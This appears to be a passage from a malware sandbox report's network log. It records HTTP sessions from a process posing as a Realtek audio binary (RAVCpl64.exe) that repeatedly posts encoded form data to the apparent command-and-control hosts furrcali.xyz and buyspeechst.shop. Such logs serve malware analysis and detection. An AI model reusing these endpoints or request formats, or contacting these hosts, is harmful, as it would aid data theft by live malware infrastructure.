Jan 9, 2025 16:50:28.198297024 CET	815	OUT	POST /k29t/ HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.furrcali.xyz Referer: http://www.furrcali.xyz/k29t/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 72 4a 6b 59 4f 47 64 56 56 47 33 6e 61 52 53 48 7a 2f 58 70 75 76 6b 35 52 44 6c 42 79 57 78 75 35 53 2f 70 78 30 51 52 31 37 57 58 58 77 78 49 79 77 64 52 67 38 77 6d 30 7a 58 76 59 2b 36 44 73 4f 56 6b 39 6c 4d 34 5a 67 78 39 56 30 6e 6f 36 69 37 35 51 6a 2f 52 64 35 43 4f 52 65 2b 41 71 67 50 4e 59 30 36 46 41 41 41 65 53 64 37 4c 66 75 54 39 32 36 77 41 48 38 52 78 4b 53 6d 50 54 47 43 59 77 4e 46 63 52 51 72 45 6b 2b 31 4f 66 73 2f 72 77 33 6e 6f 74 4f 5a 6a 2f 70 71 35 6f 49 42 6b 53 64 73 2f 76 32 77 31 66 4f 76 72 55 54 6c 37 71 35 6a 61 4a 65 7a 39 76 67 4f 46 69 56 73 42 34 7a 62 38 57 7a 38 78 6f 36 58 78 63 6a 47 69 4b 5a 6b 3d Data Ascii: lV=rJkYOGdVVG3naRSHz/Xpuvk5RDlByWxu5S/px0QR17WXXwxIywdRg8wm0zXvY+6DsOVk9lM4Zgx9V0no6i75Qj/Rd5CORe+AqgPNY06FAAAeSd7LfuT926wAH8RxKSmPTGCYwNFcRQrEk+1Ofs/rw3notOZj/pq5oIBkSds/v2w1fOvrUTl7q5jaJez9vgOFiVsB4zb8Wz8xo6XxcjGiKZk=
Jan 9, 2025 16:50:28.452150106 CET	242	IN	HTTP/1.1 302 Found Location: https://www.furrcali.xyz/k29t/ Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:50:28 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49788	103.106.67.112	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:30.896866083 CET	2578	OUT	POST /k29t/ HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.furrcali.xyz Referer: http://www.furrcali.xyz/k29t/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 72 4a 6b 59 4f 47 64 56 56 47 33 6e 61 52 53 48 7a 2f 58 70 75 76 6b 35 52 44 6c 42 79 57 78 75 35 53 2f 70 78 30 51 52 31 37 65 58 57 47 46 49 79 58 4a 52 6d 4d 77 6d 33 7a 57 49 59 2b 36 61 73 4b 35 67 39 6c 52 4e 5a 69 35 39 55 57 76 6f 72 6a 37 35 48 54 2f 52 42 4a 43 4c 62 2b 2b 52 71 6b 54 42 59 30 71 46 41 41 41 65 53 62 48 4c 4a 50 54 39 77 36 77 44 4f 63 52 39 59 69 6d 72 54 47 61 58 77 4e 42 69 57 68 4c 45 6c 61 52 4f 64 65 58 72 74 6e 6e 75 75 4f 5a 37 2f 70 6e 6a 6f 4f 6c 43 53 65 78 6f 76 33 34 31 65 35 71 4e 4f 54 74 5a 75 36 62 36 4e 63 4c 2f 6e 44 6a 52 6d 32 70 34 33 43 62 46 57 6e 68 70 71 71 44 73 49 79 4b 33 64 73 36 4f 30 71 4c 4c 56 57 77 59 32 31 2f 75 6e 46 6c 68 48 75 36 31 61 4f 75 7a 76 59 39 42 77 51 72 78 67 30 59 74 7a 37 55 69 65 77 5a 50 53 63 47 52 44 76 6d 72 57 45 5a 48 78 50 41 52 68 33 58 65 74 53 43 53 53 5a 72 33 53 74 49 4d 56 4a 68 6b 54 31 47 66 36 7a 52 59 54 46 6e 4c 38 45 37 4c 4b 38 36 6f 77 58 67 74 54 44 45 51 4b 56 6b 4b 69 7a 77 54 71 37 4e [TRUNCATED] Data Ascii: lV=rJkYOGdVVG3naRSHz/Xpuvk5RDlByWxu5S/px0QR17eXWGFIyXJRmMwm3zWIY+6asK5g9lRNZi59UWvorj75HT/RBJCLb++RqkTBY0qFAAAeSbHLJPT9w6wDOcR9YimrTGaXwNBiWhLElaROdeXrtnnuuOZ7/pnjoOlCSexov341e5qNOTtZu6b6NcL/nDjRm2p43CbFWnhpqqDsIyK3ds6O0qLLVWwY21/unFlhHu61aOuzvY9BwQrxg0Ytz7UiewZPScGRDvmrWEZHxPARh3XetSCSSZr3StIMVJhkT1Gf6zRYTFnL8E7LK86owXgtTDEQKVkKizwTq7NZbRHCUzrnu+BWtetApAfc91IfP5OGSp5I8uSfn6ky/495HTT6wNL1jLedJw7xtP8iMsRdpU14c2UNJpNQu9uqiApObEjz9Ga+t7JInw21qjAHj2LMDR8dU+DheFMQXR/muK9VvdKoaQ5dioH8JHAF5YiGYUSs+eZjiYT+ZpKcFOk3CD+JLvkSZzVSGgmGzoKLsiY3BPG5HJxaH8nAWoxzD8wt1FSi67uNhG02ehyCHO/R39natKTcdY/9A4SIAbUbg1u8qJE37tfMzBFiGa3Aw8gmeQgY9IALojq+WeQ0hJBOZOiiGWSJqzTSTQw6zTmNOEc6Elqd3fnj/LfWqPvJ0L7nMoWiN5u+z2pus4g66LD0JYyczlVOC64Lm4qoRuewE2etYlfqTuEKHpnOSPBGd6kDN5kMqNwufp2D0fhYWw04MF7V50QLPKD7wguPRftVLBspsIY+wZHBtZnobDPoWtIpCIR6CzPUd5mNmJlW7dE+Hop5SE+I+TXrQKy/S6jUjo2oVCEM1I86a9aO9IK4XhI/3vVSEuPCS/d2SMte6bOAwkmb9gDTevMVCtZsBwYS1pjVmKhKT/1INHCoij5xg/QZsPDif3dBVtblNWU7cGZN3IEfrDgbXioFhW5zGijcj9V4iifg3sk1OEVQWN9D+Jmq0s9Ef+gVn [TRUNCATED]
Jan 9, 2025 16:50:30.896893978 CET	5156	OUT	Data Raw: 44 53 55 6b 30 52 77 44 4b 67 69 39 73 47 69 30 59 43 50 74 56 7a 69 6e 37 46 47 38 4d 47 6c 34 65 37 31 45 52 41 31 50 34 46 44 4d 64 36 56 79 73 6f 51 61 56 73 43 70 4b 31 6a 79 32 54 73 65 4d 4c 7a 46 61 53 71 67 6f 5a 32 70 53 53 37 6a 59 6d Data Ascii: DSUk0RwDKgi9sGi0YCPtVzin7FG8MGl4e71ERA1P4FDMd6VysoQaVsCpK1jy2TseMLzFaSqgoZ2pSS7jYmA1Ij0VYvip0IOro1HMYmtydfeFdTSRdnpZt3SsbsKXhtGhDcPpwR3UdZ/a8kp99rbUiGdLZw0VyUChxPPoEtPk6TaHAQvskgiViXCHXZsTD2ZtJYx256Nk7fiQmQxKjxQzALWslC6d9DIGInqL1NEQsC0+Bi3Hccb
Jan 9, 2025 16:50:30.896965027 CET	230	OUT	Data Raw: 71 36 72 4d 37 79 44 52 6d 55 33 51 73 74 41 31 43 6f 39 46 54 50 66 4f 31 51 70 57 36 78 57 32 37 38 69 4e 70 33 78 72 52 2f 4b 78 4e 49 62 41 4b 5a 59 57 35 6e 45 39 66 70 4d 6d 41 54 73 37 59 37 32 4c 52 2b 33 31 33 43 4a 38 6b 5a 33 59 30 73 Data Ascii: q6rM7yDRmU3QstA1Co9FTPfO1QpW6xW278iNp3xrR/KxNIbAKZYW5nE9fpMmATs7Y72LR+313CJ8kZ3Y0s+axeIo1RBFGaR9YP1lSIDfK3OK6qsgwTOL8Nwsw8KKQNzijACou7hM8cnRaPDcJL69xKbl1ThH2vlJEE4y6xDxBGAweUWYHIM7vO7FANMPTDfqPWAUE7Ek3taaHuo4Scke/37sMXHYrxCb9xFA==
Jan 9, 2025 16:50:31.150913000 CET	242	IN	HTTP/1.1 302 Found Location: https://www.furrcali.xyz/k29t/ Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:50:31 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49789	103.106.67.112	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:33.601604939 CET	530	OUT	GET /k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaV6xOj1iJ+/0Z9jT4Yg=&LSbaT=zft4LoBw HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:50:33.855196953 CET	619	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaV6xOj1iJ+/0Z9jT4Yg=&LSbaT=zft4LoBw Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:50:33 GMT Content-Length: 196 Connection: close Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 75 72 72 63 61 6c 69 2e 78 79 7a 2f 6b 32 39 74 2f 3f 6c 56 3d 6d 4c 4d 34 4e 79 56 33 52 6d 37 4c 53 46 36 32 7a 71 33 71 70 73 73 73 42 31 46 37 6a 55 6b 66 6c 43 2f 63 77 58 39 58 78 39 65 44 51 42 4a 37 2f 67 4e 74 35 39 63 75 6a 67 4c 57 47 65 79 67 70 64 73 48 75 48 51 36 5a 54 31 6e 5a 45 65 45 36 41 7a 71 50 44 44 4d 52 6f 36 58 47 70 75 44 31 58 48 69 61 56 36 78 4f 6a 31 69 4a 2b 2f 30 5a 39 6a 54 34 59 67 3d 26 61 6d 70 3b 4c 53 62 61 54 3d 7a 66 74 34 4c 6f 42 77 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://www.furrcali.xyz/k29t/?lV=mLM4NyV3Rm7LSF62zq3qpsssB1F7jUkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaV6xOj1iJ+/0Z9jT4Yg=&LSbaT=zft4LoBw">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49790	104.21.112.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:39.149307966 CET	807	OUT	POST /w98i/ HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.buyspeechst.shop Referer: http://www.buyspeechst.shop/w98i/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 5a 64 59 6e 5a 36 2b 57 4c 59 34 59 59 72 52 6d 59 52 45 66 59 6a 55 34 4b 30 33 6e 2f 39 76 62 66 43 6a 35 71 49 6a 4b 6c 4f 46 31 62 7a 75 55 74 67 39 42 7a 7a 46 6b 30 49 7a 48 6b 6b 4f 45 4e 4d 70 2f 31 37 4b 58 4f 42 35 69 65 52 35 51 52 43 32 4a 75 6e 75 37 6e 4c 6f 37 50 67 66 38 64 38 30 73 79 6e 72 61 52 65 2f 49 67 47 64 6b 67 75 57 4c 38 38 71 57 62 70 31 56 4a 70 62 6d 43 43 75 6c 58 6d 6f 6e 48 68 41 63 49 51 53 30 74 32 42 4a 4f 77 6a 56 74 43 50 72 6b 4d 35 64 4a 36 37 4a 2f 2f 74 77 30 39 58 63 72 54 7a 2b 75 34 47 2f 36 63 6e 46 68 43 36 33 38 6c 6d 70 77 77 3d 3d Data Ascii: lV=ZdYnZ6+WLY4YYrRmYREfYjU4K03n/9vbfCj5qIjKlOF1bzuUtg9BzzFk0IzHkkOENMp/17KXOB5ieR5QRC2Junu7nLo7Pgf8d80synraRe/IgGdkguWL88qWbp1VJpbmCCulXmonHhAcIQS0t2BJOwjVtCPrkM5dJ67J//tw09XcrTz+u4G/6cnFhC638lmpww==
Jan 9, 2025 16:50:39.402750969 CET	1059	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:50:39 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLueVAdh4mizLzPAFxBT5pY2ssW1VIRipybrEwS3KbMuzsL0rMcio9kLSdR0zZZ6dDJqEkQM9%2BUn8SG3zWxrtgb7uauMp3IM08CIPKkzQnBduXHQxsgvG3vsLyIMFdIq%2Bl8FCD0L1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5958f1c0ff865-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118739&min_rtt=118739&rtt_var=59369&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=807&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a Data Ascii: e3Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_+
Jan 9, 2025 16:50:39.402765989 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49791	104.21.112.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:41.797319889 CET	827	OUT	POST /w98i/ HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.buyspeechst.shop Referer: http://www.buyspeechst.shop/w98i/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 5a 64 59 6e 5a 36 2b 57 4c 59 34 59 59 4b 68 6d 61 77 45 66 4e 54 55 35 47 55 33 6e 6c 4e 76 66 66 43 66 35 71 4a 33 61 6d 34 64 31 43 54 65 55 75 6c 4a 42 32 7a 46 6b 6e 49 7a 43 67 6b 4f 54 4e 4d 6b 4b 31 2b 69 58 4f 42 39 69 65 51 4a 51 52 31 61 47 6f 6e 75 35 2f 37 6f 35 4c 67 66 38 64 38 30 73 79 6e 2f 30 52 65 6e 49 68 32 74 6b 69 4c 71 45 6e 63 71 5a 52 4a 31 56 44 4a 62 69 43 43 75 58 58 6b 63 42 48 69 34 63 49 55 43 30 73 6e 42 57 45 77 6a 54 67 69 4f 2b 33 4d 55 57 51 71 66 32 2f 66 34 73 31 4d 66 41 6a 6c 2b 6b 7a 4b 79 62 35 50 37 33 6c 79 44 66 2b 6e 6e 79 74 2b 76 34 57 36 32 32 52 4e 4a 4b 6e 52 33 4a 6c 52 30 57 46 31 73 3d Data Ascii: lV=ZdYnZ6+WLY4YYKhmawEfNTU5GU3nlNvffCf5qJ3am4d1CTeUulJB2zFknIzCgkOTNMkK1+iXOB9ieQJQR1aGonu5/7o5Lgf8d80syn/0RenIh2tkiLqEncqZRJ1VDJbiCCuXXkcBHi4cIUC0snBWEwjTgiO+3MUWQqf2/f4s1MfAjl+kzKyb5P73lyDf+nnyt+v4W622RNJKnR3JlR0WF1s=
Jan 9, 2025 16:50:42.056384087 CET	1069	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:50:42 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctFN4TaJT%2B0gJxpkFJebArmioPfFs2kHe842w64H%2FYlPqDB3UplOHDxdGyq%2B1DrDhV9YDYEmtIdJI29EP51XDNFjRx25%2FbcSJLsir89tZq7Ql%2Fg6bq%2BjIqWFBG%2FVEYS4xQjm3AGnPw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5959faff5eaf7-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=128251&min_rtt=128251&rtt_var=64125&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=827&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a Data Ascii: e3Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_+
Jan 9, 2025 16:50:42.056399107 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49792	104.21.112.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:50:44.451785088 CET	2578	OUT	POST /w98i/ HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.buyspeechst.shop Referer: http://www.buyspeechst.shop/w98i/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 5a 64 59 6e 5a 36 2b 57 4c 59 34 59 59 4b 68 6d 61 77 45 66 4e 54 55 35 47 55 33 6e 6c 4e 76 66 66 43 66 35 71 4a 33 61 6d 34 56 31 65 77 57 55 73 43 56 42 31 7a 46 6b 38 6f 7a 44 67 6b 50 52 4e 4d 73 52 31 2b 6e 69 4f 44 31 69 4d 6a 52 51 41 52 4f 47 37 48 75 35 6a 4c 6f 38 50 67 66 70 64 36 55 6f 79 6e 76 30 52 65 6e 49 68 30 46 6b 6c 65 57 45 6c 63 71 57 62 70 31 4a 4a 70 61 39 43 47 4b 74 58 6b 49 52 41 54 59 63 4a 30 53 30 75 52 31 57 48 51 6a 52 6c 69 50 39 33 4d 59 5a 51 71 54 63 2f 66 4e 37 31 4e 58 41 6e 44 72 50 69 34 2b 35 73 4f 4c 4a 36 32 54 43 31 6c 2f 43 71 63 66 62 66 4d 32 48 5a 63 39 4e 73 6a 4c 6e 67 7a 67 4b 45 6c 63 61 4a 2f 63 6d 6e 4b 6d 6c 61 7a 48 58 66 58 4f 45 55 45 44 76 6f 62 4c 51 75 45 2b 61 38 2f 59 36 36 4e 69 76 71 65 63 37 52 53 7a 64 33 78 6d 75 7a 6e 47 48 78 56 64 77 31 54 45 41 4e 74 71 4f 36 76 62 58 4b 38 72 64 58 53 72 52 51 4c 78 52 78 7a 51 48 2b 7a 32 72 6b 4e 6e 51 53 42 71 6f 51 68 36 65 51 43 2b 42 43 36 33 76 32 67 78 72 68 55 47 38 39 6d 4f [TRUNCATED] Data Ascii: lV=ZdYnZ6+WLY4YYKhmawEfNTU5GU3nlNvffCf5qJ3am4V1ewWUsCVB1zFk8ozDgkPRNMsR1+niOD1iMjRQAROG7Hu5jLo8Pgfpd6Uoynv0RenIh0FkleWElcqWbp1JJpa9CGKtXkIRATYcJ0S0uR1WHQjRliP93MYZQqTc/fN71NXAnDrPi4+5sOLJ62TC1l/CqcfbfM2HZc9NsjLngzgKElcaJ/cmnKmlazHXfXOEUEDvobLQuE+a8/Y66Nivqec7RSzd3xmuznGHxVdw1TEANtqO6vbXK8rdXSrRQLxRxzQH+z2rkNnQSBqoQh6eQC+BC63v2gxrhUG89mO33vCZGbDm22twbE0JwLM14pTTNS/E+rSLCPkSHZ35AsArdJlVOvJuZzqVBrQAfmuWlYOdWYCIRsKuqE8v1tat35UTBYrWf8MNgX5MlgnPG3PX7MFRHr7LBbVcuFDAJCGylAdHnhlCoJ6Ou8crU2PZihIzU4eFyUEx5EAVSQ5dalFrLO2oxRDJvaF3a5oBdF+e5Mq3SaHT2g9wYcyQArCSkOS+s5qygRJghOlZjR3n+WSgBr0hsrQIyq/Ua1i4lntQoqJDyUKoHWU9wCzoR2NXKSPnV3XK/eFxVpPN90Hp9hyxbW4ncdUtFAuS3qlB+RQMz1bys8gVfazOHZNzjfwGS2geZRqpgmnTvwK9El6KxOOiZ+13earDNuCC9IzkyxquA3YnhAs51ofJu3cwS4G4NEqmn8o3wwQIkQSahTcSspb6jow4kZ8LZqKtYDTKpx6wKlsV/wM3PkHGgb41gl5mkHJDShfvN/JMi4iuOAPE/4zEQt/x2ZuOr7lP/3geRoUSv+RVWA/gKjc3pStnif+vn+7jAhZKq3qCaStkmF09+LD0grMEPrj3gKij3BQKqLDAhHmSb09G/QsxBKLoh3qpL49Qzn3N55z1CkP93LIiIo9vVZgHX/1wpDwB4onCpWtfLTFiJ+DlrWceI+wgnVgJMnhiAPG4UofHR [TRUNCATED]
Jan 9, 2025 16:50:44.451836109 CET	5398	OUT	Data Raw: 37 6f 79 54 78 39 6b 63 75 69 53 4e 63 6f 41 64 35 2b 50 5a 4e 78 7a 30 34 33 62 71 74 36 66 66 53 77 34 43 54 4e 48 4d 62 7a 45 59 4d 6b 41 49 65 2b 6e 36 49 43 68 48 63 54 4f 79 6f 2f 64 69 56 37 77 6f 34 6a 4c 6f 31 43 45 63 30 6a 74 79 4c 31 Data Ascii: 7oyTx9kcuiSNcoAd5+PZNxz043bqt6ffSw4CTNHMbzEYMkAIe+n6IChHcTOyo/diV7wo4jLo1CEc0jtyL1VnZZgz4CewQNWk7BftKEPOdedaGmAk6iQ22Vk4fEzsxzmCyqV/Dh84c/RSPZrFh/xC2bcejqtoDATXPyWAQmejm0/4DISD9PctIC/Fuf3krdmo/4mKV7XTxXyH36NOmC5fMTh4xxKR9gH6Ytq0JBI4A1hwWA9XrRE
Jan 9, 2025 16:50:44.772950888 CET	1064	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:50:44 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TOoijhS9hbpWsqe90%2B6jaKysCqjmz%2BitwTks8LZlLEQ1CvB5ivpkjRt1a5wnblPHuE9j6InGQnBnCr8lzn06CAlR95WAOJRuKK7y%2BzCOeoReFWI2vjN3JzkMhi6D%2FBlkwOqbyCz0Tg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff595b0392e10b4-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119085&min_rtt=119085&rtt_var=59542&sent=6&recv=9&lost=0&retrans=0&sent_bytes=0&recv_bytes=7976&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a Data Ascii: e3Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_+
Jan 9, 2025 16:50:44.773082972 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49793	104.21.112.1	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
